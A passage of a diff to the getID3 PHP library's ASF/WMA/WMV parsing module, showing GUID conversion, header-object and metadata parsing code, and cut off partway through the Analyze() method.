bytes are in little-endian order - // next 2 bytes are appended in little-endian order - // next 2 bytes are appended in little-endian order - // next 2 bytes are appended in big-endian order - // next 6 bytes are appended in big-endian order - - // AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string: - // $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp - - $hexbytecharstring = chr(hexdec(substr($GUIDstring, 6, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 4, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 2, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 0, 2))); - - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 9, 2))); - - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2))); - - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2))); - - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2))); - $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2))); - - return $hexbytecharstring; - } - - /** - * @param string $Bytestring - * - * @return string - */ - public static function BytestringToGUID($Bytestring) { - $GUIDstring = str_pad(dechex(ord($Bytestring[3])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[2])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[1])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[0])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= '-'; - $GUIDstring .= str_pad(dechex(ord($Bytestring[5])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[4])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= '-'; - $GUIDstring .= str_pad(dechex(ord($Bytestring[7])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[6])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= '-'; - $GUIDstring .= str_pad(dechex(ord($Bytestring[8])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[9])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= '-'; - $GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT); - $GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT); - - return strtoupper($GUIDstring); - } - - /** - * @param int $FILETIME - * @param bool $round - * - * @return float|int - */ - public static function FILETIMEtoUNIXtime($FILETIME, $round=true) { - // FILETIME is a 64-bit unsigned integer representing - // the number of 100-nanosecond intervals since January 1, 1601 - // UNIX timestamp is number of seconds since January 1, 1970 - // 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days - if ($round) { - return intval(round(($FILETIME - 116444736000000000) / 10000000)); - } - return ($FILETIME - 116444736000000000) / 10000000; - } - - /** - * @param int $WMpictureType - * - * @return string - */ - public static function WMpictureTypeLookup($WMpictureType) { - static $lookup = null; - if ($lookup === null) { - $lookup = array( - 0x03 => 'Front Cover', - 0x04 => 'Back Cover', - 0x00 => 'User Defined', - 0x05 => 'Leaflet Page', - 0x06 => 'Media Label', - 0x07 => 'Lead Artist', - 0x08 => 'Artist', - 0x09 => 'Conductor', - 0x0A => 'Band', - 0x0B => 'Composer', - 0x0C => 'Lyricist', - 0x0D => 'Recording Location', - 0x0E => 'During Recording', - 0x0F => 'During Performance', - 0x10 => 'Video Screen Capture', - 0x12 => 'Illustration', - 0x13 => 'Band Logotype', - 0x14 => 'Publisher Logotype' - ); - $lookup = array_map(function($str) { - return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str); - }, $lookup); - } - - return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : ''); - } - - /** - * @param string $asf_header_extension_object_data - * @param int $unhandled_sections - * - * @return array - */ - public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) { - // http://msdn.microsoft.com/en-us/library/bb643323.aspx - - $offset = 0; - $objectOffset = 0; - $HeaderExtensionObjectParsed = array(); - while ($objectOffset < strlen($asf_header_extension_object_data)) { - $offset = $objectOffset; - $thisObject = array(); - - $thisObject['guid'] = substr($asf_header_extension_object_data, $offset, 16); - $offset += 16; - $thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']); - $thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']); - - $thisObject['size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); - $offset += 8; - if ($thisObject['size'] <= 0) { - break; - } - - switch ($thisObject['guid']) { - case GETID3_ASF_Extended_Stream_Properties_Object: - $thisObject['start_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); - $offset += 8; - $thisObject['start_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['start_time']); - - $thisObject['end_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); - $offset += 8; - $thisObject['end_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['end_time']); - - $thisObject['data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['alternate_data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['alternate_buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['maximum_object_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - $thisObject['flags']['reliable'] = (bool) $thisObject['flags_raw'] & 0x00000001; - $thisObject['flags']['seekable'] = (bool) $thisObject['flags_raw'] & 0x00000002; - $thisObject['flags']['no_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000004; - $thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008; - - $thisObject['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $thisObject['stream_language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $thisObject['average_time_per_frame'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $thisObject['stream_name_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $thisObject['payload_extension_system_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - for ($i = 0; $i < $thisObject['stream_name_count']; $i++) { - $streamName = array(); - - $streamName['language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $streamName['stream_name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $streamName['stream_name'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, $streamName['stream_name_length'])); - $offset += $streamName['stream_name_length']; - - $thisObject['stream_names'][$i] = $streamName; - } - - for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) { - $payloadExtensionSystem = array(); - - $payloadExtensionSystem['extension_system_id'] = substr($asf_header_extension_object_data, $offset, 16); - $offset += 16; - $payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']); - - $payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - if ($payloadExtensionSystem['extension_system_size'] <= 0) { - break 2; - } - - $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, $payloadExtensionSystem['extension_system_info_length'])); - $offset += $payloadExtensionSystem['extension_system_info_length']; - - $thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem; - } - - break; - - case GETID3_ASF_Padding_Object: - // padding, skip it - break; - - case GETID3_ASF_Metadata_Object: - $thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - for ($i = 0; $i < $thisObject['description_record_counts']; $i++) { - $descriptionRecord = array(); - - $descriptionRecord['reserved_1'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); // must be zero - $offset += 2; - - $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); - - $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); - $offset += $descriptionRecord['name_length']; - - $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); - $offset += $descriptionRecord['data_length']; - switch ($descriptionRecord['data_type']) { - case 0x0000: // Unicode string - break; - - case 0x0001: // BYTE array - // do nothing - break; - - case 0x0002: // BOOL - $descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']); - break; - - case 0x0003: // DWORD - case 0x0004: // QWORD - case 0x0005: // WORD - $descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']); - break; - - case 0x0006: // GUID - $descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']); - break; - } - - $thisObject['description_record'][$i] = $descriptionRecord; - } - break; - - case GETID3_ASF_Language_List_Object: - $thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) { - $languageIDrecord = array(); - - $languageIDrecord['language_id_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1)); - $offset += 1; - - $languageIDrecord['language_id'] = substr($asf_header_extension_object_data, $offset, $languageIDrecord['language_id_length']); - $offset += $languageIDrecord['language_id_length']; - - $thisObject['language_id_record'][$i] = $languageIDrecord; - } - break; - - case GETID3_ASF_Metadata_Library_Object: - $thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - for ($i = 0; $i < $thisObject['description_records_count']; $i++) { - $descriptionRecord = array(); - - $descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - - $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); - $offset += 2; - $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); - - $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); - $offset += 4; - - $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); - $offset += $descriptionRecord['name_length']; - - $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); - $offset += $descriptionRecord['data_length']; - - if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) { - $WMpicture = $this->ASF_WMpicture($descriptionRecord['data']); - foreach ($WMpicture as $key => $value) { - $descriptionRecord['data'] = $WMpicture; - } - unset($WMpicture); - } - - $thisObject['description_record'][$i] = $descriptionRecord; - } - break; - - default: - $unhandled_sections++; - if ($this->GUIDname($thisObject['guid_text'])) { - $this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8)); - } else { - $this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8)); - } - break; - } - $HeaderExtensionObjectParsed[] = $thisObject; - - $objectOffset += $thisObject['size']; - } - return $HeaderExtensionObjectParsed; - } - - /** - * @param int $id - * - * @return string - */ - public static function metadataLibraryObjectDataTypeLookup($id) { - static $lookup = array( - 0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters - 0x0001 => 'BYTE array', // The type of the data is implementation-specific - 0x0002 => 'BOOL', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values - 0x0003 => 'DWORD', // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer - 0x0004 => 'QWORD', // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer - 0x0005 => 'WORD', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer - 0x0006 => 'GUID', // The data is 16 bytes long and should be interpreted as a 128-bit GUID - ); - return (isset($lookup[$id]) ? $lookup[$id] : 'invalid'); - } - - /** - * @param string $data - * - * @return array - */ - public function ASF_WMpicture(&$data) { - //typedef struct _WMPicture{ - // LPWSTR pwszMIMEType; - // BYTE bPictureType; - // LPWSTR pwszDescription; - // DWORD dwDataLen; - // BYTE* pbData; - //} WM_PICTURE; - - $WMpicture = array(); - - $offset = 0; - $WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1)); - $offset += 1; - $WMpicture['image_type'] = self::WMpictureTypeLookup($WMpicture['image_type_id']); - $WMpicture['image_size'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 4)); - $offset += 4; - - $WMpicture['image_mime'] = ''; - do { - $next_byte_pair = substr($data, $offset, 2); - $offset += 2; - $WMpicture['image_mime'] .= $next_byte_pair; - } while ($next_byte_pair !== "\x00\x00"); - - $WMpicture['image_description'] = ''; - do { - $next_byte_pair = substr($data, $offset, 2); - $offset += 2; - $WMpicture['image_description'] .= $next_byte_pair; - } while ($next_byte_pair !== "\x00\x00"); - - $WMpicture['dataoffset'] = $offset; - $WMpicture['data'] = substr($data, $offset); - - $imageinfo = array(); - $WMpicture['image_mime'] = ''; - $imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo); - unset($imageinfo); - if (!empty($imagechunkcheck)) { - $WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); - } - if (!isset($this->getid3->info['asf']['comments']['picture'])) { - $this->getid3->info['asf']['comments']['picture'] = array(); - } - $this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']); - - return $WMpicture; - } - - /** - * Remove terminator 00 00 and convert UTF-16LE to Latin-1. - * - * @param string $string - * - * @return string - */ - public static function TrimConvert($string) { - return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' '); - } - - /** - * Remove terminator 00 00. - * - * @param string $string - * - * @return string - */ - public static function TrimTerm($string) { - // remove terminator, only if present (it should be, but...) - if (substr($string, -2) === "\x00\x00") { - $string = substr($string, 0, -2); - } - return $string; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.asf.php // +// module for analyzing ASF, WMA and WMV files // +// dependencies: module.audio-video.riff.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + +class getid3_asf extends getid3_handler +{ + /** + * @param getID3 $getid3 + */ + public function __construct(getID3 $getid3) { + parent::__construct($getid3); // extends getid3_handler::__construct() + + // initialize all GUID constants + $GUIDarray = $this->KnownGUIDs(); + foreach ($GUIDarray as $GUIDname => $hexstringvalue) { + if (!defined($GUIDname)) { + define($GUIDname, $this->GUIDtoBytestring($hexstringvalue)); + } + } + } + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // Shortcuts + $thisfile_audio = &$info['audio']; + $thisfile_video = &$info['video']; + $info['asf'] = array(); + $thisfile_asf = &$info['asf']; + $thisfile_asf['comments'] = array(); + $thisfile_asf_comments = &$thisfile_asf['comments']; + $thisfile_asf['header_object'] = array(); + $thisfile_asf_headerobject = &$thisfile_asf['header_object']; + + + // ASF structure: + // * Header Object [required] + // * File Properties Object [required] (global file attributes) + // * Stream Properties Object [required] (defines media stream & characteristics) + // * Header Extension Object [required] (additional functionality) + // * Content Description Object (bibliographic information) + // * Script Command Object (commands for during playback) + // * Marker Object (named jumped points within the file) + // * Data Object [required] + // * Data Packets + // * Index Object + + // Header Object: (mandatory, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for header object - GETID3_ASF_Header_Object + // Object Size QWORD 64 // size of header object, including 30 bytes of Header Object header + // Number of Header Objects DWORD 32 // number of objects in header object + // Reserved1 BYTE 8 // hardcoded: 0x01 + // Reserved2 BYTE 8 // hardcoded: 0x02 + + $info['fileformat'] = 'asf'; + + $this->fseek($info['avdataoffset']); + $HeaderObjectData = $this->fread(30); + + $thisfile_asf_headerobject['objectid'] = substr($HeaderObjectData, 0, 16); + $thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']); + if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) { + unset($info['fileformat'], $info['asf']); + return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}'); + } + $thisfile_asf_headerobject['objectsize'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8)); + $thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4)); + $thisfile_asf_headerobject['reserved1'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1)); + $thisfile_asf_headerobject['reserved2'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1)); + + $NextObjectOffset = $this->ftell(); + $ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30); + $offset = 0; + $thisfile_asf_streambitratepropertiesobject = array(); + $thisfile_asf_codeclistobject = array(); + $StreamPropertiesObjectData = array(); + + for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) { + $NextObjectGUID = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); + $NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + switch ($NextObjectGUID) { + + case GETID3_ASF_File_Properties_Object: + // File Properties Object: (mandatory, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for file properties object - GETID3_ASF_File_Properties_Object + // Object Size QWORD 64 // size of file properties object, including 104 bytes of File Properties Object header + // File ID GUID 128 // unique ID - identical to File ID in Data Object + // File Size QWORD 64 // entire file in bytes. Invalid if Broadcast Flag == 1 + // Creation Date QWORD 64 // date & time of file creation. Maybe invalid if Broadcast Flag == 1 + // Data Packets Count QWORD 64 // number of data packets in Data Object. Invalid if Broadcast Flag == 1 + // Play Duration QWORD 64 // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1 + // Send Duration QWORD 64 // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1 + // Preroll QWORD 64 // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount + // Flags DWORD 32 // + // * Broadcast Flag bits 1 (0x01) // file is currently being written, some header values are invalid + // * Seekable Flag bits 1 (0x02) // is file seekable + // * Reserved bits 30 (0xFFFFFFFC) // reserved - set to zero + // Minimum Data Packet Size DWORD 32 // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1 + // Maximum Data Packet Size DWORD 32 // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1 + // Maximum Bitrate DWORD 32 // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead + + // shortcut + $thisfile_asf['file_properties_object'] = array(); + $thisfile_asf_filepropertiesobject = &$thisfile_asf['file_properties_object']; + + $thisfile_asf_filepropertiesobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_filepropertiesobject['objectid'] = $NextObjectGUID; + $thisfile_asf_filepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_filepropertiesobject['objectsize'] = $NextObjectSize; + $thisfile_asf_filepropertiesobject['fileid'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $thisfile_asf_filepropertiesobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']); + $thisfile_asf_filepropertiesobject['filesize'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_filepropertiesobject['creation_date'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']); + $offset += 8; + $thisfile_asf_filepropertiesobject['data_packets'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_filepropertiesobject['play_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_filepropertiesobject['send_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_filepropertiesobject['preroll'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $thisfile_asf_filepropertiesobject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001); + $thisfile_asf_filepropertiesobject['flags']['seekable'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002); + + $thisfile_asf_filepropertiesobject['min_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_filepropertiesobject['max_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $thisfile_asf_filepropertiesobject['max_bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + + if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) { + + // broadcast flag is set, some values invalid + unset($thisfile_asf_filepropertiesobject['filesize']); + unset($thisfile_asf_filepropertiesobject['data_packets']); + unset($thisfile_asf_filepropertiesobject['play_duration']); + unset($thisfile_asf_filepropertiesobject['send_duration']); + unset($thisfile_asf_filepropertiesobject['min_packet_size']); + unset($thisfile_asf_filepropertiesobject['max_packet_size']); + + } else { + + // broadcast flag NOT set, perform calculations + $info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000); + + //$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate']; + $info['bitrate'] = ((isset($thisfile_asf_filepropertiesobject['filesize']) ? $thisfile_asf_filepropertiesobject['filesize'] : $info['filesize']) * 8) / $info['playtime_seconds']; + } + break; + + case GETID3_ASF_Stream_Properties_Object: + // Stream Properties Object: (mandatory, one per media stream) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object + // Object Size QWORD 64 // size of stream properties object, including 78 bytes of Stream Properties Object header + // Stream Type GUID 128 // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media + // Error Correction Type GUID 128 // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types + // Time Offset QWORD 64 // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream + // Type-Specific Data Length DWORD 32 // number of bytes for Type-Specific Data field + // Error Correction Data Length DWORD 32 // number of bytes for Error Correction Data field + // Flags WORD 16 // + // * Stream Number bits 7 (0x007F) // number of this stream. 1 <= valid <= 127 + // * Reserved bits 8 (0x7F80) // reserved - set to zero + // * Encrypted Content Flag bits 1 (0x8000) // stream contents encrypted if set + // Reserved DWORD 32 // reserved - set to zero + // Type-Specific Data BYTESTREAM variable // type-specific format data, depending on value of Stream Type + // Error Correction Data BYTESTREAM variable // error-correction-specific format data, depending on value of Error Correct Type + + // There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the + // stream number isn't known until halfway through decoding the structure, hence it + // it is decoded to a temporary variable and then stuck in the appropriate index later + + $StreamPropertiesObjectData['offset'] = $NextObjectOffset + $offset; + $StreamPropertiesObjectData['objectid'] = $NextObjectGUID; + $StreamPropertiesObjectData['objectid_guid'] = $NextObjectGUIDtext; + $StreamPropertiesObjectData['objectsize'] = $NextObjectSize; + $StreamPropertiesObjectData['stream_type'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $StreamPropertiesObjectData['stream_type_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']); + $StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16); + $offset += 16; + $StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']); + $StreamPropertiesObjectData['time_offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); + $offset += 8; + $StreamPropertiesObjectData['type_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $StreamPropertiesObjectData['error_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + $StreamPropertiesObjectData['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $StreamPropertiesObjectStreamNumber = $StreamPropertiesObjectData['flags_raw'] & 0x007F; + $StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000); + + $offset += 4; // reserved - DWORD + $StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']); + $offset += $StreamPropertiesObjectData['type_data_length']; + $StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']); + $offset += $StreamPropertiesObjectData['error_data_length']; + + switch ($StreamPropertiesObjectData['stream_type']) { + + case GETID3_ASF_Audio_Media: + $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); + $thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr'); + + $audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16)); + unset($audiodata['raw']); + $thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio); + break; + + case GETID3_ASF_Video_Media: + $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); + $thisfile_video['bitrate_mode'] = 